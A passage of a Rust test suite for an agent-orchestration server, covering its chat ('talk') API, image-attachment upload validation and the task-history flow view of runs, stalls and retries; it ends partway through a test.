15787 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15790
15791 #[tokio::test]
15792 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15793 let tmp = TempDir::new().expect("tempdir");
15794 let repo = tmp.path().join("repo");
15795 std::fs::create_dir_all(&repo).expect("repo dir");
15796 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15797 let f = Fixture::with_repo(repo).await;
15798 let id_a = f.post("/api/talks", None).await.json()["id"]
15799 .as_str()
15800 .unwrap()
15801 .to_owned();
15802 let id_b = f.post("/api/talks", None).await.json()["id"]
15803 .as_str()
15804 .unwrap()
15805 .to_owned();
15806
15807 let a = f
15808 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15809 .await;
15810 assert_eq!(a.status, 202, "{}", a.body);
15811 assert_eq!(a.json()["thinking"], true);
15812 let b = f
15813 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15814 .await;
15815 assert_eq!(b.status, 202, "{}", b.body);
15816 assert_eq!(b.json()["thinking"], true);
15817
15818 let listed = f.get("/api/talks").await.json();
15819 for id in [&id_a, &id_b] {
15820 let view = listed
15821 .as_array()
15822 .unwrap()
15823 .iter()
15824 .find(|talk| talk["id"] == *id)
15825 .unwrap();
15826 assert_eq!(view["thinking"], true, "{listed}");
15827 }
15828 let repeated = f
15829 .post(
15830 &format!("/api/talks/{id_a}/say"),
15831 Some(r#"{"text":"again"}"#),
15832 )
15833 .await;
15834 assert_eq!(repeated.status, 202, "{}", repeated.body);
15835 assert_eq!(repeated.json()["pending"], "again");
15836 }
15837
15838 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15841
15842 #[tokio::test]
15843 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15844 let f = Fixture::start().await;
15845 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15846
15847 let res = f
15848 .post_bytes(
15849 &format!("/api/talks/{id}/attachments"),
15850 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15851 PNG_BYTES,
15852 )
15853 .await;
15854 assert_eq!(res.status, 201, "{}", res.body);
15855 let body = res.json();
15856 assert_eq!(body["name"], "shot.png");
15857 assert_eq!(body["mime"], "image/png");
15858 assert_eq!(body["bytes"], PNG_BYTES.len());
15859 let att_id = body["id"].as_str().expect("id").to_owned();
15860 assert_eq!(
15861 att_id.len(),
15862 32,
15863 "the id must never be a client-suppliable path: {att_id}"
15864 );
15865
15866 let got = f
15867 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15868 .await;
15869 assert_eq!(got.status, 200, "{}", got.body);
15870 assert_eq!(got.header("content-type"), Some("image/png"));
15871 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15872 assert_eq!(got.bytes, PNG_BYTES);
15873 }
15874
15875 #[tokio::test]
15876 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15877 let f = Fixture::start().await;
15878 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15879
15880 let svg = f
15883 .post_bytes(
15884 &format!("/api/talks/{id}/attachments"),
15885 &[("Content-Type", "image/svg+xml")],
15886 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15887 )
15888 .await;
15889 assert!(
15890 (400..500).contains(&svg.status),
15891 "svg must be refused: {} {}",
15892 svg.status,
15893 svg.body
15894 );
15895 assert!(svg.body.contains("SVG"), "{}", svg.body);
15896
15897 let text = f
15898 .post_bytes(
15899 &format!("/api/talks/{id}/attachments"),
15900 &[("Content-Type", "text/plain")],
15901 b"just some text",
15902 )
15903 .await;
15904 assert!(
15905 (400..500).contains(&text.status),
15906 "an unlisted type must be refused: {} {}",
15907 text.status,
15908 text.body
15909 );
15910
15911 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15914 let big = f
15915 .post_bytes(
15916 &format!("/api/talks/{id}/attachments"),
15917 &[("Content-Type", "image/png")],
15918 &oversized,
15919 )
15920 .await;
15921 assert_eq!(
15922 big.status,
15923 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15924 "{}",
15925 big.body
15926 );
15927 }
15928
15929 #[tokio::test]
15930 async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15931 let f = Fixture::start().await;
15932 let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15933
15934 let res = f
15937 .post_bytes(
15938 &format!("/api/talks/{id}/attachments"),
15939 &[("Content-Type", "image/png")],
15940 b"<html>not a picture</html>",
15941 )
15942 .await;
15943 assert!((400..500).contains(&res.status), "{}", res.body);
15944 }
15945
15946 #[tokio::test]
15947 async fn an_unknown_attachment_id_is_a_404() {
15948 let f = Fixture::start().await;
15949 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15950
15951 let res = f
15952 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15953 .await;
15954 assert_eq!(res.status, 404, "{}", res.body);
15955 }
15956
15957 #[tokio::test]
15958 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15959 let f = Fixture::start().await;
15960 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15961
15962 let uploaded = f
15963 .post_bytes(
15964 &format!("/api/talks/{id}/attachments"),
15965 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15966 PNG_BYTES,
15967 )
15968 .await;
15969 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15970 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15971
15972 let res = f
15973 .post(
15974 &format!("/api/talks/{id}/say"),
15975 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15976 )
15977 .await;
15978 assert_eq!(res.status, 202, "{}", res.body);
15979 let queued = res.json();
15980 let turns = queued["turns"].as_array().expect("turns array");
15981 assert_eq!(
15982 turns.len(),
15983 1,
15984 "an empty body with an attachment is still a turn: {queued}"
15985 );
15986 assert_eq!(turns[0]["who"], "operator");
15987 assert_eq!(turns[0]["body"], "");
15988 let atts = turns[0]["attachments"]
15989 .as_array()
15990 .expect("attachments array");
15991 assert_eq!(atts.len(), 1);
15992 assert_eq!(atts[0]["id"], att_id);
15993 assert_eq!(atts[0]["mime"], "image/png");
15994
15995 let on_disk = f.talks().get(&id).expect("get");
15998 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15999 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
16000 }
16001
16002 #[tokio::test]
16003 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
16004 let f = Fixture::start().await;
16005 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
16006
16007 let res = f
16008 .post(
16009 &format!("/api/talks/{id}/say"),
16010 Some(&format!(
16011 r#"{{"text":"hi","attachments":["{}"]}}"#,
16012 "a".repeat(32)
16013 )),
16014 )
16015 .await;
16016 assert!((400..500).contains(&res.status), "{}", res.body);
16017 assert!(res.body.contains("unknown attachment"), "{}", res.body);
16018
16019 let on_disk = f.talks().get(&id).expect("get");
16020 assert!(
16021 on_disk.turns.is_empty(),
16022 "a rejected attachment id must not partially record the turn: {:?}",
16023 on_disk.turns
16024 );
16025 }
16026
16027 #[tokio::test]
16028 async fn talk_close_makes_the_talk_refuse_further_turns() {
16029 let f = Fixture::start().await;
16030 let id = seed_talk(&f, "20260904-014455-cd34", "open");
16031
16032 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16033 assert_eq!(closed.status, 200, "{}", closed.body);
16034 assert_eq!(closed.json()["status"], "closed");
16035
16036 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
16038 assert_eq!(closed_again.status, 200);
16039 assert_eq!(closed_again.json()["status"], "closed");
16040
16041 let said = f
16042 .post(
16043 &format!("/api/talks/{id}/say"),
16044 Some(r#"{"text":"too late"}"#),
16045 )
16046 .await;
16047 assert_eq!(said.status, 409, "{}", said.body);
16048 }
16049
16050 #[tokio::test]
16051 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16052 let (_tmp, _repo, f) = talk_fixture().await;
16053 let id = f.post("/api/talks", None).await.json()["id"]
16054 .as_str()
16055 .expect("id")
16056 .to_owned();
16057 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16058 assert_eq!(closed.status, 200, "{}", closed.body);
16059
16060 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16061 assert_eq!(reopened.status, 200, "{}", reopened.body);
16062 assert_eq!(reopened.json()["status"], "open");
16063
16064 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16066 assert_eq!(reopened_again.status, 200);
16067 assert_eq!(reopened_again.json()["status"], "open");
16068
16069 let said = f
16070 .post(
16071 &format!("/api/talks/{id}/say"),
16072 Some(r#"{"text":"still there?"}"#),
16073 )
16074 .await;
16075 assert_eq!(
16076 said.status, 202,
16077 "a reopened talk accepts turns again: {}",
16078 said.body
16079 );
16080 }
16081
16082 #[tokio::test]
16083 async fn talk_reopen_on_an_unknown_id_is_404() {
16084 let f = Fixture::start().await;
16085 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16086 assert_eq!(res.status, 404, "{}", res.body);
16087 }
16088
16089 #[tokio::test]
16090 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16091 let f = Fixture::start().await;
16092 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16093
16094 let deleted = f.delete(&format!("/api/talks/{id}")).await;
16095 assert_eq!(deleted.status, 204, "{}", deleted.body);
16096
16097 let after = f.get(&format!("/api/talks/{id}")).await;
16098 assert_eq!(after.status, 404, "{}", after.body);
16099
16100 let listed = f.get("/api/talks").await.json();
16101 assert!(
16102 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16103 "a deleted talk must not linger in the list: {listed}"
16104 );
16105 }
16106
16107 #[tokio::test]
16108 async fn talk_delete_on_an_unknown_id_is_404() {
16109 let f = Fixture::start().await;
16110 let res = f.delete("/api/talks/nonexistent-id").await;
16111 assert_eq!(res.status, 404, "{}", res.body);
16112 }
16113
16114 #[tokio::test]
16118 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16119 let f = Fixture::start().await;
16120 let (a, b, gone) = (
16121 "20260902-140501-aaaa",
16122 "20260902-140502-bbbb",
16123 "20260902-140503-cccc",
16124 );
16125 write_run(&f.runs(), a, RunStatus::Stalled);
16126 let mut review = RunState::new(
16127 PathBuf::from("/repo/magi"),
16128 "main".to_owned(),
16129 "0123456789abcdef".to_owned(),
16130 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16131 .to_owned(),
16132 Config::default(),
16133 );
16134 review.id = b.to_owned();
16135 review.status = RunStatus::Merged;
16136 write_state(&f.runs(), &review);
16137
16138 let mut task = Task::new(
16139 "retry".to_owned(),
16140 "Do the thing".to_owned(),
16141 PathBuf::from("/repo/magi"),
16142 Source::Human,
16143 );
16144 task.start(a.to_owned());
16145 task.stall("quota");
16146 task.start(a.to_owned());
16147 task.start(b.to_owned());
16148 task.start(gone.to_owned());
16149 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16151 f.queue().put(&mut task).expect("file the task");
16152
16153 let res = f.get(&format!("/api/queue/{}", task.id)).await;
16154 assert_eq!(res.status, 200, "{}", res.body);
16155 let v = res.json();
16156 let h = v["history"].as_array().expect("history");
16157 assert_eq!(h.len(), 4, "{v}");
16158 assert_eq!(h[0]["kind"], "competition");
16159 assert_eq!(h[0]["status"], "stalled");
16160 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16161 assert_eq!(h[1]["kind"], "resume", "{v}");
16162 assert!(
16163 h[0]["outcome"]
16164 .as_str()
16165 .unwrap()
16166 .contains("unknown. Pass #2"),
16167 "an earlier pass of a resumed run must not claim the final outcome: {v}"
16168 );
16169 assert!(
16170 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16171 "{v}"
16172 );
16173 assert!(
16174 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16175 "an unrecorded cause must not be narrated as an operator park: {v}"
16176 );
16177 assert_eq!(h[2]["kind"], "review");
16178 assert!(
16179 h[2]["description"]
16180 .as_str()
16181 .unwrap()
16182 .contains("magi/aaaa/A")
16183 );
16184 assert_eq!(h[2]["status"], "merged");
16185 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16186 assert_eq!(v["runs_unreadable"], 1);
16187 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16188 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16189 assert_eq!(nodes[4]["note"], "unreadable");
16190 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16191 assert_eq!(v["instruction"], "Do the thing");
16192 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16193
16194 let run = f.get(&format!("/api/runs/{a}")).await.json();
16196 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16197
16198 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16199 }
16200
16201 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16202 let mut s = RunState::new(
16203 PathBuf::from("/repo/magi"),
16204 "main".to_owned(),
16205 "0123456789abcdef".to_owned(),
16206 "Do it".to_owned(),
16207 Config::default(),
16208 );
16209 s.status = status;
16210 edit(&mut s);
16211 s
16212 }
16213
16214 fn flow_task(runs: &[&str]) -> Task {
16215 let mut t = Task::new(
16216 "t".to_owned(),
16217 "Do it".to_owned(),
16218 PathBuf::from("/repo/magi"),
16219 Source::Human,
16220 );
16221 for r in runs {
16222 t.start((*r).to_owned());
16223 }
16224 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16226 t
16227 }
16228
16229 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16230 let h = task_history(task, |id| {
16231 states
16232 .iter()
16233 .find(|(i, _)| *i == id)
16234 .and_then(|(_, s)| s.clone())
16235 });
16236 task_flow(task, &h, 5, None)
16237 }
16238
16239 #[test]
16240 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16241 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16242 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16243 let first = "2026-10-10T02:00:00Z".parse().unwrap();
16244 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16245 let held = "2026-10-10T04:00:00Z".parse().unwrap();
16246 let run = flow_run(RunStatus::Implementing, |s| {
16247 s.created_at = created;
16248 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16249 s.passes[0].started_at = first;
16250 s.passes[1].started_at = resumed;
16251 });
16252 let mut task = flow_task(&[RUN_X, RUN_X]);
16253 task.created_at = queued;
16254 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16255 task.status = TaskStatus::Held;
16256 task.held_at = Some(held);
16257 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16258 assert_eq!(
16259 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16260 vec![Some(queued), Some(first), Some(resumed), Some(held)]
16261 );
16262 assert!(flow.nodes.iter().all(|n| n.time_expected));
16263 let json = serde_json::to_value(&flow).unwrap();
16264 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16265 assert_eq!(json["nodes"][2]["time_expected"], true);
16266 }
16267
16268 #[test]
16269 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16270 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16271 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16272 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16273 task.held_at = Some(created);
16275 task.blocked_at = Some(created);
16276 for status in [
16277 TaskStatus::Queued,
16278 TaskStatus::Running,
16279 TaskStatus::Blocked,
16280 TaskStatus::Done,
16281 TaskStatus::Failed,
16282 TaskStatus::Parked,
16283 TaskStatus::Held,
16284 ] {
16285 task.status = status;
16286 if status == TaskStatus::Held {
16287 task.held_at = None;
16288 }
16289 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16290 assert_eq!(flow.nodes[1].started_at, Some(created));
16291 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16292 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16293 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16294 let json = serde_json::to_value(&flow).unwrap();
16295 assert!(json["nodes"][3]["started_at"].is_null());
16296 assert_eq!(json["nodes"][3]["time_expected"], true);
16297 }
16298 }
16299
16300 #[test]
16301 fn flow_context_links_do_not_expect_start_times() {
16302 let mut task = flow_task(&[]);
16303 task.source = Source::Agent {
16304 run: "chat-id".to_owned(),
16305 node: "chat".to_owned(),
16306 };
16307 let origin = followup_origin(&fu(None), |_| None, |_| None);
16308 let flow = task_flow(&task, &[], 5, Some(&origin));
16309 for node in &flow.nodes[..2] {
16310 assert!(!node.time_expected);
16311 assert_eq!(node.started_at, None);
16312 }
16313 assert!(flow.nodes[2].time_expected);
16314 }
16315
16316 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16317 crate::queue::FollowUp {
16318 run: "20260901-000000-aaaa".to_owned(),
16319 origin_task: origin_task.map(str::to_owned),
16320 pr: "https://example.com/o/r/pull/1".to_owned(),
16321 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16322 .map(str::to_owned)
16323 .to_vec(),
16324 generation: 1,
16325 }
16326 }
16327
16328 fn parent_task() -> Task {
16329 let mut p = flow_task(&[]);
16330 p.title = "Parent title".to_owned();
16331 p.status = TaskStatus::Done;
16332 p
16333 }
16334
16335 #[test]
16336 fn flow_opens_with_the_parent_task_of_a_followup() {
16337 let p = parent_task();
16338 let pid = p.id.clone();
16339 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16340 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16341 let n = &f.nodes[0];
16342 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16343 assert_eq!(
16344 n.label,
16345 format!("Follow-up of {}", crate::queue::short(&pid))
16346 );
16347 assert_eq!(n.detail.as_deref(), Some("Parent title"));
16348 assert_eq!(n.status, Some("done"));
16349 assert_eq!(n.status_of, "task");
16350 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16351 assert_eq!(f.nodes[1].key, "start");
16352 assert_eq!(f.edges[0].from, "origin");
16353 assert_eq!(
16354 f.edges[0].label,
16355 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16356 );
16357 }
16358
16359 #[test]
16360 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16361 let o = followup_origin(
16362 &fu(Some("gone")),
16363 |_| None,
16364 |_| {
16365 Some(RunState::new(
16366 std::path::PathBuf::from("."),
16367 "main".to_owned(),
16368 "0".to_owned(),
16369 "t".to_owned(),
16370 crate::config::Config::default(),
16371 ))
16372 },
16373 );
16374 assert!(o.parent.is_none());
16375 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16376 let n = &f.nodes[0];
16377 assert_eq!(n.status_of, "run");
16378 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16379 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16380 }
16381
16382 #[test]
16383 fn flow_followup_with_nothing_readable_has_no_link() {
16384 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16385 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16386 let n = &f.nodes[0];
16387 assert_eq!(n.href, None);
16388 assert_eq!(n.note, Some("unreadable"));
16389 assert!(!n.readable);
16390 }
16391
16392 #[test]
16393 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16394 let o = followup_origin(&fu(None), |_| None, |_| None);
16395 let mut t = flow_task(&[]);
16396 t.origin_chat = Some("c1".to_owned());
16397 let f = task_flow(&t, &[], 5, Some(&o));
16398 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16399 t.source = Source::Agent {
16400 run: "c1".to_owned(),
16401 node: crate::queue::CHAT_NODE.to_owned(),
16402 };
16403 let f = task_flow(&t, &[], 5, Some(&o));
16404 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16405 assert_eq!(
16406 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16407 ("chat", "origin")
16408 );
16409 }
16410
16411 #[test]
16412 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16413 let mut p = parent_task();
16414 p.id = "a b/c".to_owned();
16415 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16416 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16417 }
16418
16419 #[test]
16420 fn flow_opens_with_the_chat_that_queued_the_task() {
16421 let mut t = flow_task(&[]);
16422 t.source = Source::Agent {
16423 run: "a b/c".to_owned(),
16424 node: crate::queue::CHAT_NODE.to_owned(),
16425 };
16426 let f = flow_for(&t, &[]);
16427 assert_eq!(f.nodes[0].key, "chat");
16428 assert_eq!(f.nodes[0].kind, "chat");
16429 assert_eq!(
16430 f.nodes[0].label,
16431 format!("Chat {}", crate::queue::short("a b/c"))
16432 );
16433 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16434 assert_eq!(f.nodes[1].key, "start");
16435 assert_eq!(
16436 f.edges[0],
16437 FlowEdge {
16438 from: "chat".to_owned(),
16439 to: "start".to_owned(),
16440 label: "queued from chat".to_owned(),
16441 attempt: AttemptCost::None,
16442 }
16443 );
16444 }
16445
16446 #[test]
16447 fn flow_has_no_chat_box_for_other_sources() {
16448 for source in [
16449 Source::Human,
16450 Source::Issue {
16451 number: 3,
16452 repo: "o/r".to_owned(),
16453 },
16454 Source::Agent {
16455 run: "20260904-014455-ab12".to_owned(),
16456 node: "implement".to_owned(),
16457 },
16458 ] {
16459 let mut t = flow_task(&[]);
16460 t.source = source;
16461 let f = flow_for(&t, &[]);
16462 assert_eq!(f.nodes[0].key, "start");
16463 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16464 assert!(f.edges.iter().all(|e| e.from != "chat"));
16465 }
16466 }
16467
16468 const FA: &str = "20260902-140501-aaaa";
16469 const FB: &str = "20260902-140502-bbbb";
16470
16471 #[test]
16472 fn flow_follows_blocked_retry_merged_to_done() {
16473 let mut t = flow_task(&[FA, FB]);
16474 t.status = TaskStatus::Done;
16475 let f = flow_for(
16476 &t,
16477 &[
16478 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16479 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16480 ],
16481 );
16482 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16483 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16484 assert_eq!(f.edges.len(), 3);
16485 assert_eq!(f.edges[0].label, "claimed");
16486 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16487 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16488 assert_eq!(f.edges[2].label, "merged \u{2192} done");
16489 assert_eq!(
16490 f.nodes[2].href.as_deref(),
16491 Some("#/runs/20260902-140502-bbbb")
16492 );
16493 assert!(f.nodes[2].decided);
16494 }
16495
16496 #[test]
16497 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16498 let quota = || {
16499 flow_run(RunStatus::Stalled, |s| {
16500 s.quota.push(crate::run::QuotaLoss {
16501 cause: crate::agent::QuotaCause::UsageLimit,
16502 agent: String::new(),
16503 seat: "judge-1".to_owned(),
16504 node: "judge".to_owned(),
16505 at: Timestamp::now(),
16506 reset: None,
16507 })
16508 })
16509 };
16510 let mut t = flow_task(&[FA, FA]);
16511 t.status = TaskStatus::Queued;
16512 let f = flow_for(&t, &[(FA, Some(quota()))]);
16513 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16514 assert_eq!(f.nodes[1].note, Some("interrupted"));
16515 assert_eq!(
16516 f.nodes[1].status, None,
16517 "no outcome copied onto an earlier pass"
16518 );
16519 assert_eq!(
16520 f.edges[1].attempt,
16521 AttemptCost::Unknown,
16522 "a resume does not prove the earlier pass was refunded"
16523 );
16524 assert!(f.edges[1].label.contains("resume the same run"));
16525 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16526 assert_eq!(
16527 f.edges[2].label,
16528 "stalled after a resume, refund unknown \u{2192} queued"
16529 );
16530 assert!(!f.nodes[2].decided, "a stall is not a decision");
16531 assert_eq!(f.nodes[2].note, Some("no verdict"));
16532 }
16533
16534 #[test]
16535 fn flow_single_pass_quota_stall_is_refunded() {
16536 let t = flow_task(&[FA]);
16537 let f = flow_for(
16538 &t,
16539 &[(
16540 FA,
16541 Some(flow_run(RunStatus::Stalled, |s| {
16542 s.quota.push(crate::run::QuotaLoss {
16543 cause: crate::agent::QuotaCause::UsageLimit,
16544 agent: String::new(),
16545 seat: "judge-1".to_owned(),
16546 node: "judge".to_owned(),
16547 at: Timestamp::now(),
16548 reset: None,
16549 })
16550 })),
16551 )],
16552 );
16553 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16554 }
16555
16556 #[test]
16557 fn flow_parked_refunds_and_stall_without_quota_spends() {
16558 let mut t = flow_task(&[FA]);
16559 t.status = TaskStatus::Queued;
16560 let f = flow_for(
16561 &t,
16562 &[(
16563 FA,
16564 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16565 )],
16566 );
16567 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16568 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16569 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16570 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16571 assert!(!f.nodes[1].decided);
16572 }
16573
16574 #[test]
16575 fn flow_keeps_an_unreadable_run_as_its_own_node() {
16576 let t = flow_task(&[FA, FB]);
16577 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16578 assert_eq!(f.nodes[1].note, Some("unreadable"));
16579 assert!(!f.nodes[1].readable);
16580 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16581 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16582 }
16583
16584 #[test]
16585 fn flow_names_the_branch_of_a_review_only_run() {
16586 let t = flow_task(&[FA]);
16587 let f = flow_for(
16588 &t,
16589 &[(
16590 FA,
16591 Some(flow_run(RunStatus::Merged, |s| {
16592 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16593 })),
16594 )],
16595 );
16596 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16597 assert_eq!(
16598 f.nodes[1].detail.as_deref(),
16599 Some("review-only run of branch magi/x/A")
16600 );
16601 }
16602
16603 #[test]
16604 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16605 let mut t = flow_task(&[FA]);
16606 t.status = TaskStatus::Held;
16607 let pr = crate::run::PrRecord {
16608 url: "https://example.test/pr/1".to_owned(),
16609 number: 1,
16610 state: "open".to_owned(),
16611 checks: "green".to_owned(),
16612 round: 0,
16613 rounds: 3,
16614 red_at_merge: Vec::new(),
16615 };
16616 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16617 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16618 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16619 t.status = TaskStatus::Done;
16620 let f = flow_for(&t, &[(FA, Some(blocked))]);
16621 assert_eq!(f.edges[1].label, "closed by hand: task is done");
16622 }
16623
16624 #[test]
16625 fn flow_with_no_runs_goes_from_queued_to_queued() {
16626 let t = flow_task(&[]);
16627 let f = flow_for(&t, &[]);
16628 assert_eq!(f.nodes.len(), 2);
16629 assert_eq!(f.edges.len(), 1);
16630 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16631 assert_eq!(f.edges[0].attempt, AttemptCost::None);
16632 }
16633
16634 #[test]
16637 fn a_parked_non_terminal_run_is_explained_as_parked() {
16638 let mut s = RunState::new(
16639 PathBuf::from("/repo/magi"),
16640 "main".to_owned(),
16641 "0123456789abcdef".to_owned(),
16642 "Do it".to_owned(),
16643 Config::default(),
16644 );
16645 s.status = RunStatus::Implementing;
16646 s.parked = true;
16647 let task = Task::new(
16648 "t".to_owned(),
16649 "Do it".to_owned(),
16650 PathBuf::from("/repo/magi"),
16651 Source::Human,
16652 );
16653 let v = task_run_view(
16654 "20260902-140501-aaaa",
16655 Some(&s),
16656 RunSlot {
16657 n: 1,
16658 resumed: false,
16659 resumed_later: None,
16660 prior: None,
16661 last: true,
16662 ..RunSlot::default()
16663 },
16664 &task,
16665 );
16666 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16667 }
16668
16669 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16670 let mut s = flow_run(RunStatus::Implementing, edit);
16671 s.parked = false;
16672 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16673 task_run_view(
16674 "20260902-140501-aaaa",
16675 Some(&s),
16676 RunSlot {
16677 n: 1,
16678 resumed: false,
16679 resumed_later: Some(2),
16680 prior: None,
16681 last: false,
16682 ..RunSlot::default()
16683 },
16684 &task,
16685 )
16686 }
16687
16688 #[test]
16689 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16690 let v = earlier_pass_view(|_| {});
